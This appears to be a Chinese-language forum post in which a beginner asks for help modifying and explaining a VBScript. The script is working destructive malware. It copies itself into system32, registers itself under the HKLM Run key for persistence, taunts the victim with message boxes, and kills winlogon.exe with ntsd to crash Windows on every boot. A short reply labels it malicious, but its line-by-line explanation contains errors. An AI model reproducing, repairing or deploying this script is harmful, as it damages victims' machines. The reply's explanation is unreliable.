请问一下谁能给我修改一下这段代码并解释每一句（我是菜鸟，谢谢了）

on error resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "整死你.vbs"
Key_data = "C:\windows\system32\整死你.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
msgbox"让你蓝一次屏吧！"
msgbox"对了，这个可以开机重启的"
msgbox"活该，哈哈"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if

是恶意代码吧

首先如果报错就自动退出

如果有创建权限，就把文件拷贝到"c:\windows\system32\"

在"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" 这个启动运行里添加运行刚才拷到system32的整死你.vbs

后边的是提示框

隐藏启动的winlogon.exe